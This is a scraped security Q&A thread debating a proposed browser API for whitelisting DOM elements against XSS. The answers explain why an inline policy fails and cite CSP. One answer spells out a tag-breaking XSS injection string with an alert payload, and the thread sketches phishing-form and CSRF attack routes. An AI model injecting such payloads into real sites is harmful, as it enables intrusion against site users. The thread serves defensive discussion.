As we know, developers are responsible for correctly escaping/validating data provided by the user before rendering or storing them. However, we must agree that it's relatively easy to forget a single input among hundreds, and finally get your web-app exploited by a XSS. Or haven't you met someone that got his/her site exploited by XSS?

Even Twitter and Orkut recently suffered from XSS. And I'm not here to blame anyone.

Suppose your browser supported whitelisting DOM elements. These whitelisted elements are the only elements allowed to execute JavaScript. You quickly realise that sounds insane because it's impossible to keep your preferred website working properly if you have such a generic whitelist. And you're correct!

But now suppose that HTML and JavaScript engines supported a syntax to allow you to whitelist elements of your own website. For example:

After 9 days it is interesting to see that the highest scoring answer is NOT to do this. Is it worth rethinking your application to avoid putting this amount of trust client-side? From a core security perspective I would think so.
–
Rory Alsop♦Dec 29 '10 at 1:01

7 Answers
7

Restricting the whitelist to the <head> element is not helpful because <title> is part of <head> and often contains user provided data. So the whitelist definition needs to be the first element in <head> and only the first whitelist call may be accepted.

The content of <li>example 1</li> is not trusted in the example. So an attacker could supply this:

I described the 1st point in previous comments, but I agree with the rest. Very good answer! +1
–
jweyrichDec 26 '10 at 1:44

I put more thoughts on it, and I see this can be a bigger problem because it's NOT only about getting JS executed, it's also a possible layout change. The attacker could do something naughty like adding a link pointing to a malicious page and use CSS to overlay the entire page (like the XSS on Twitter). To deal with that, more parts of the browser would need to be touched, which is out of question. So we're back to stage zero: properly escape user data on server side.
–
jweyrichDec 29 '10 at 15:00

That is a strange point in this general form; given that there is no alternative to trusting the client side same origin policy both for JavaScript and Cookies.
–
Hendrik Brummermann♦Jan 9 '11 at 17:03

4

The 2nd sentence seems inaccurate/not well justified. Client-side Javascript can be trusted in some cases, such as this one. Here we have a user Eunice, using her browser to visit the site X.com. Eunice is not malicious; X.com is trying to protect her and itself from attack by some other malicious user Yolanda. If X.com delivers trusted Javascript to Eunice's browser, and if that Javascript was carefully crafted to help defend against attacks by Yolanda, then the client-side Javascript can potentially help improve security. (See, e.g., Blueprint for an example.)
–
D.W.Jan 10 '11 at 7:31

It seems like an interesting idea to me but since you're asking about problems with it I'll respond with some of the obvious ones. I don't see how this can be applied globally to most sites, as most would seem to need many of the dangerous javascript functions available for core functionality. E.g. onmouseover, href="javascript:alert(1)", etc. For this to be useful as an alternative to Caja or JSReg, or JSandbox it may need to applicable at any level in the DOM. For example if I just wanted to protect my <div name="untrusted"> content.

I updated the question to clarify. You should be allowed to whitelist any element, and as many as you wish. The most obvious problem is the transition to the new model, but I risk to say it's unavoidable to any in-browser solution.
–
jweyrichDec 20 '10 at 19:17

@jweyrich, but you'd still have the same vulnerabilities for the list of elements you whitelisted. Doesnt mean you're gonna go back and fix all of THOSE.
–
AviD♦Dec 20 '10 at 19:38

@AviD: that's correct. One would normally whitelist only those elements that don't involve user supplied data. Otherwise, he still has to correctly escape AND validate the data. IMO it still decreases the attack surface by a very large magnitude.
–
jweyrichDec 20 '10 at 19:49

2

Yes, but enough? Is it worth it? I think that as it is, there are already enough solutions out there. And while I definitely think its worthwhile finding ways to make it easier for developers to solve their own XSS issues, in most cases I find that actually fixing the issues take less time than analyzing the discovered vulns to decide which way to fix it. So, even with your solution, you'd still be doing a lot of analysis, to figure out which elements can be whitelisted, and which should be validated...
–
AviD♦Dec 20 '10 at 20:00

Content Security Policy is intended to help web designers or server administrators specify how content interacts on their web sites. It helps mitigate and detect types of attacks such as XSS and data injection. CSP is not intended to be a main line of defense, but rather one of the many layers of security that can be employed to help secure a web site.

I added emphasis to the clause talking about not relying on CSP too much.

Here are some policy examples:

Sample Policy Definitions

Example 1: Site wants all content to come from its own domain:

X-Content-Security-Policy: allow 'self'

Example 2: Auction site wants to allow images from anywhere, plugin content from a list of trusted media providers (including a content distribution network), and scripts only from its server hosting sanitized JavaScript:

Example 3: Server administrators want to deny all third-party scripts for the site, and a given project group also wants to disallow media from other sites (header provided by sysadmins and header provided by project group are both present):

It seems like setting the security policy in the headers, while not impregnable to attack, makes it a lot harder than adding the security policy in-line in the DOM where it could be mutated.

I think your idea/question is a good one to think about, but as you start making in more and more comprehensive there comes a point where it is too expensive to do right.

I had a similar idea when I realized how annoying it is that all resources should be served over SSL if the page is supposed to be secured by SSL. My first thought was an idea around having checksums for each resource that is allowed to load on the SSL page (loading them in the clear would make it easier to cache them). Of course there are a host of security issues to doing that and eventually I came to the conclusion that any performance gain is quickly lost through security issues and complexity. I can see how a DOM whitelist could quickly suffer in the same way.

One final point: if you have enough knowledge to whitelist on the browser side, why can't you run the whitelist on the data you are serving before sending to the browser?

XSS usually works by injecting foreign Javascript into the body of the trusted page. If you trust your code that says document.allowJavaScript(['div.outer', '#list', 'a.test']); how would you not trust code on the other page of the site saying document.allowJavaScript(['div.evil', '#securityhole', 'a.exploit']); which is produced by an XSS vulnerability? As long as both reside in the same context of the same page - which is the main idea of XSS - you have no way to know one from the other.

You could, of course, say that you have "privileged" context - say, inside <head> - and "unprivileged" context inside <body> - and this will cover part of the vulnerability, but not all of it. Since you have no way to guarantee that there won't be XSS vulnerability that would allow to inject content into the "privileged" part of the page. Of course, those would be less frequent, but it would not solve the whole problem - you would still have to have the validation on the server.

Additionally, you would introduce maintenance problem - every time the designer changes something on the page, you would have to edit the privileged elements list, while at the same time always keeping the "dynamic" parts off it. That may prove rather hard to do in real projects - especially as some pages are assembled of many independent widgets generated by separate parts of the application, that can be produced by entirely different teams.

The developer can easily guarantee that allowJavaScript is the 1st function to be executed, and the browser can guarantee that it's called only once. Considering that, how would you introduce a foreign javascript into the body of the trusted page and get it executed (bypassing the protection)? If the client system is compromised and injects a JavaScript in the context of a loaded page, you can't call that XSS. Traffic manipulation isn't XSS too. Please, elaborate.
–
jweyrichDec 25 '10 at 7:06

1

The same way - XSS site vulnerability. Imagine site that prints title (which is in the head section) according to user input and forgets to validate... Also, it may manipulate DOM to inject stuff into head section - so you'd have to introduce DOM permissions. And what if there's some vulnerable page that doesn't have <HEAD> elements at all - like one generating JSON? I could supply my own <HEAD> and thus break the protection.
–
StasMDec 25 '10 at 7:12

If you guarantee that allowJavaScript is the first JavaScript to be executed, the evil title element won't cause any harm. It's a fairly simple requirement. JSON and HTML are completely different, so you can't have HTML elements in a JSON document. If you have, it's not a JSON document, and thus you should be able to invoke the proposed API.
–
jweyrichDec 25 '10 at 7:21

Prior work on Blueprint and BEEP shows that a risk of inline security policies (as in your proposal) is that a XSS injection may allow an attacker to inject new policies. What happens if an attacker injects a new HEAD tag and then adds script inside it that invokes allowJavaScript?

Prior work also shows that stopping execution of malicious Javascript isn't enough to be secure. If an attacker can inject arbitrary stuff into your HTML page, then the attacker may be able to: (i) mount data exfiltration attacks (e.g., learn CSRF tokens or secrets on the page), (ii) deface your page, (iii) phish your users or steal authentication credentials (think of adding a login form that asks the user for their username and password, but where the form action submits to the attacker's site), (iv) mount CSRF attacks (think of an inline image or a form element that automatically loads a URL on the victim's site, or that fools the user into doing so), (v) clickjacking/strokejacking attacks (some of which don't require Javascript).

Prior work has also shown that attacks are possible, without executing any Javascript, by attacking CSS. See the paper by Huang, Weinberg, Evans, and Jackson in CCS 2010. Your scheme will likely be vulnerable to this, if there exists any injection point in the document, at least on some browsers.

Lastly, if you're whitelisting elements in the DOM, what prevents an attacker who inject stuff into the HTML page from opening and closing tags until their malicious data is in the context of the whitelisted element? For instance, if your policy says that script is allowed in the 2nd P tag under the 1st DIV under the BODY, and if there is an injection point right after the first P tag, then an attacker could inject </P><P><DIV><SCRIPT>alert('nasty')</SCRIPT>, and now the attacker's nasty script will be treated by the browser as part of whitelisted part of the page.

Overall recommendation: I would not recommend relying upon this defense. It has a number of weaknesses.